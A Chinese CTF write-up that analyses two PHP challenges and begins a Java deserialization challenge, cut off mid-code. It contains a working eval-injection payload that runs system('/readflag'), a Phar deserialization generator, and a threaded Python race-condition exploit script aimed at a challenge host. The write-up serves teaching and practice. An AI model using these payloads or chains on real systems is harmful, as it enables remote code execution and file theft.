warmup-php
题目给出了几个类的源码,继承关系如下
源码
Base.php
<?php
class Base
{
public function __get($name)
{
$getter = 'get' . $name;
if (method_exists($this, $getter)) {
return $this->$getter();
} else {
throw new Exception("error property {$name}");
}
}
public function __set($name, $value)
{
$setter = 'set' . $name;
if (method_exists($this, $setter)) {
return $this->$setter($value);
} else {
throw new Exception("error property {$name}");
}
}
public function __isset($name)
{
$getter = 'get' . $name;
if (method_exists($this, $getter))
return $this->$getter() !== null;
return false;
}
public function __unset($name)
{
$setter = 'set' . $name;
if (method_exists($this, $setter))
$this->$setter(null);
}
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
}
Filter.php
<?php
class Filter extends Base
{
public $lastModified;
public $lastModifiedExpression;
public $etagSeed;
public $etagSeedExpression;
public $cacheControl='max-age=3600, public';
public function preFilter($filterChain)
{
$lastModified=$this->getLastModifiedValue();
$etag=$this->getEtagValue();
if($etag===false&&$lastModified===false)
return true;
if($etag)
header('ETag: '.$etag);
if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH']))
{
if($this->checkLastModified($lastModified)&&$this->checkEtag($etag))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
{
if($this->checkLastModified($lastModified))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
elseif(isset($_SERVER['HTTP_IF_NONE_MATCH']))
{
if($this->checkEtag($etag))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
if($lastModified)
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT');
$this->sendCacheControlHeader();
return true;
}
protected function getLastModifiedValue()
{
if($this->lastModifiedExpression)
{
$value=$this->evaluateExpression($this->lastModifiedExpression);
if(is_numeric($value)&&$value==(int)$value)
return $value;
elseif(($lastModified=strtotime($value))===false)
throw new Exception("error");
return $lastModified;
}
if($this->lastModified)
{
if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
return $this->lastModified;
elseif(($lastModified=strtotime($this->lastModified))===false)
throw new Exception("error");
return $lastModified;
}
return false;
}
protected function getEtagValue()
{
if($this->etagSeedExpression)
return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
elseif($this->etagSeed)
return $this->generateEtag($this->etagSeed);
return false;
}
protected function checkEtag($etag)
{
return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag;
}
protected function checkLastModified($lastModified)
{
return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified;
}
protected function send304Header()
{
header('HTTP/1.1 304 Not Modified');
}
protected function generateEtag($seed)
{
return '"'.base64_encode(sha1(serialize($seed),true)).'"';
}
}
ListView.php
<?php
//该类为抽象类,不能被实例化,但可以实例化其子类,并且其子类拥有父类的所有方法与属性
abstract class ListView extends Base
{
public $tagName='div';
public $template;
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
}
TestView.php
<?php
class TestView extends ListView
{
const FILTER_POS_HEADER='header';
const FILTER_POS_BODY='body';
public $columns=array();
public $rowCssClass=array('odd','even');
public $rowCssClassExpression;
public $rowHtmlOptionsExpression;
public $selectableRows=1;
public $data=array();
public $filterSelector='{filter}';
public $filterCssClass='filters';
public $filterPosition='body';
public $filter;
public $hideHeader=false;
public function renderTableHeader()
{
if(!$this->hideHeader)
{
echo "<thead>\n";
if($this->filterPosition===self::FILTER_POS_HEADER)
$this->renderFilter();
if($this->filterPosition===self::FILTER_POS_BODY)
$this->renderFilter();
echo "</thead>\n";
}
elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
{
echo "<thead>\n";
$this->renderFilter();
echo "</thead>\n";
}
}
public function renderFilter()
{
if($this->filter!==null)
{
echo "<tr class=\"{$this->filterCssClass}\">\n";
echo "</tr>\n";
}
}
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];
if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
else
{
echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
echo "</td></tr>\n";
}
echo "</tbody>\n";
}
}
index.php
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
源码分析
在index.php
中,我们能够初始化以上任意一个类,并且给类属性赋值,最后再调用类的run()
方法。
在Base#evaluateExpression
方法中存在eval可控代码执行
...
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
...
因此我们的目标就明确了,利用链的终点应该为evaluateExpression()
函数,下面我们找一下哪里调用了该函数。
我们一共找到三处,分别在Filter#getEtagValue
、Filter#getLastModifiedValue
以及TestView#renderTableRow
中
//Filter.php
...
protected function getEtagValue()
{
if($this->etagSeedExpression)
return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
elseif($this->etagSeed)
return $this->generateEtag($this->etagSeed);
return false;
}
...
...
protected function getLastModifiedValue()
{
if($this->lastModifiedExpression)
{
$value=$this->evaluateExpression($this->lastModifiedExpression);
if(is_numeric($value)&&$value==(int)$value)
return $value;
elseif(($lastModified=strtotime($value))===false)
throw new Exception("error");
return $lastModified;
}
if($this->lastModified)
{
if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
return $this->lastModified;
elseif(($lastModified=strtotime($this->lastModified))===false)
throw new Exception("error");
return $lastModified;
}
return false;
}
...
//TestView.php
...
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
...
}
...
如果我们想要调用Filter中的getter,可以通过Base类中的__get()魔术方法
public function __get($name)
{
$getter = 'get' . $name;
if (method_exists($this, $getter)) {
return $this->$getter();
} else {
throw new Exception("error property {$name}");
}
}
但是在index.php中对属性是进行赋值操作的,只会调用到__set()
方法,因此Filter这条路走不通。
但别忘了,index.php中调用了类的run()
方法,在ListView#run
中
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
跟进ListView#renderContent
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
这里使用了一个正则回调函数,匹配template
参数,并将匹配到的内容作为回调函数$this->renderSection()
的参数。我们接着来看ListView#renderSection
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
该方法能够调用任意rend
开头的无参方法,于是我们可以将匹配到的内容控制为TableBody
,这样就会调用renderTableBody()
方法,注意这里的$data
参数必须不为空,才能调用最终的renderTableRow()
方法
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
else
{
echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
echo "</td></tr>\n";
}
echo "</tbody>\n";
}
最终在Testview#renderTableRow
中调用evaluateExpression()
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
...
}
最终调用链如下
TestView#run()
TestView#renderContent()
TestView#renderSection($matches)
TestView#renderTableBody()
TestView#renderTableRow($row)
TestView#evaluateExpression(TestView->rowHtmlOptionsExpression)
构造Payload如下
/?action=TestView
POST:
properties[template]={TableBody}&properties[data]=1&properties[rowHtmlOptionsExpression]=system("/readflag")
soeasy_php
题目提供上传功能,查看源码发现edit.php
尝试发包,发现能够更改头像
edit.php会将uploads/head.png
覆盖为我们POST过去的文件名,考虑可能存在任意文件读取
png=/etc/hosts&flag=1
直接读取目录下文件
png=/var/www/html/upload.php&flag=1
png=/var/www/html/edit.php&flag=1
#uplaod.php
<?php
if (!isset($_FILES['file'])) {
die("请上传头像");
}
$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
echo "上传成功: ".$path;
};
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}
if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}
if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}
根目录下虽然有/flag
,但是我们是没有权限读的,想要读flag就必须依靠下面的类将flag写入/tmp/flag.txt
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
该类会自动调用copyflag()
写入flag,但问题是我们如何实例化该类呢?
我们在正则过滤中能够发现phar
关键字,并且代码中存在的unlink()
等函数都暗示解题思路可能是Phar反序列化。
下面的问题是如何触发phar,filewrite()
函数中调用了unlink()
,但filewrite函数的文件名都不可控。想要触发phar,则需要依靠下面的部分
...
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
...
想要调用到unlink()
来触发phar,那么symlink()
函数就需要返回false。下面的问题就是如何让symlink函数返回false
下面有两种思路
- 如果链接
$link
是一个已存在的文件,则symlink会返回false。但上述代码在symlink之前执行了unlink()
,强制让文件不存在。因此这里需要条件竞争来让symlink报错 - 向
$target
添加脏数据来让symlink报错
绕过symlink之后,flag就会被写入/tmp/flag.txt
。但我们在读取/tmp/flag.txt
时,后端又会将我们传入的$flag
写入/tmp/flag.txt
,从而覆盖掉flag,因此这里也需要条件竞争读取flag。
if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
//读取时会覆盖掉flag
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
...
}
生成Phar文件
<?php
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}
$a = new flag();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("a.txt", "a");
$phar->stopBuffering();
上传phar,获得文件名uploads/fe409167fb98b72dcaff5486a612a575.png
。然后通过添加脏数据触发unlink
此时我们的数据已经被写入/tmp/flag.txt,下面的工作就是条件竞争了,脚本如下
import requests
import threading
import time
url="http://3878e57a-1b4a-487f-a84a-dc3d97b18714.node4.buuoj.cn:81/"
phar=r"phar://uploads/fe409167fb98b72dcaff5486a612a575.png/a.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
flag=r"/tmp/flag.txt"
head="uploads/head.png"
s=requests.session()
proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
#触发phar
def uunlink():
path="edit.php"
data={
"png":phar,
"flag":"1"
}
r=s.post(url+path,data,proxies=proxies)
if r.status_code==429:
time.sleep(1)
#更改head.png为flag
def change():
path="edit.php"
data={
"png":flag,
"flag":"1"
}
r=s.post(url+path,data)
if r.status_code==429:
time.sleep(1)
#读取flag
def read_flag():
path=head
r=s.get(url+path)
if r.status_code==429:
time.sleep(1)
else:
print(r.text)
while True:
thread1=threading.Thread(target=uunlink)
thread1.start()
thread2=threading.Thread(target=change)
thread2.start()
thread3=threading.Thread(target=read_flag)
thread3.start()
warmup-java
最近简单看了看7u21这条原生反序列化链,分析到链子中的动态代理部分时,突然想起来这里还有一道和动态代理相关的题目没有复现,于是花了点时间梳理了一下。其中找反序列化入口的地方卡了很久,还是对各种链子不太熟悉。。。
源码分析
主要代码如下,存在一个Controller能够反序列化十六进制字符串
@Controller
public class IndexController {
public IndexController() {
}
@RequestMapping({"/warmup"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "index";
}
}
还实现了一个动态代理类MyInvocationHandler
,其中invoke
方法能够依次反射调用属性type
类中的方法。其中调用的代理方法需要有至少一个参数来作为invoke的参数,否则会抛出异常。
package com.example.warmup;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class MyInvocationHandler implements InvocationHandler, Serializable {
private Class type;
public MyInvocationHandler() {
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Method[] methods = this.type.getDeclaredMethods();
Method[] var5 = methods;
int var6 = methods.length;
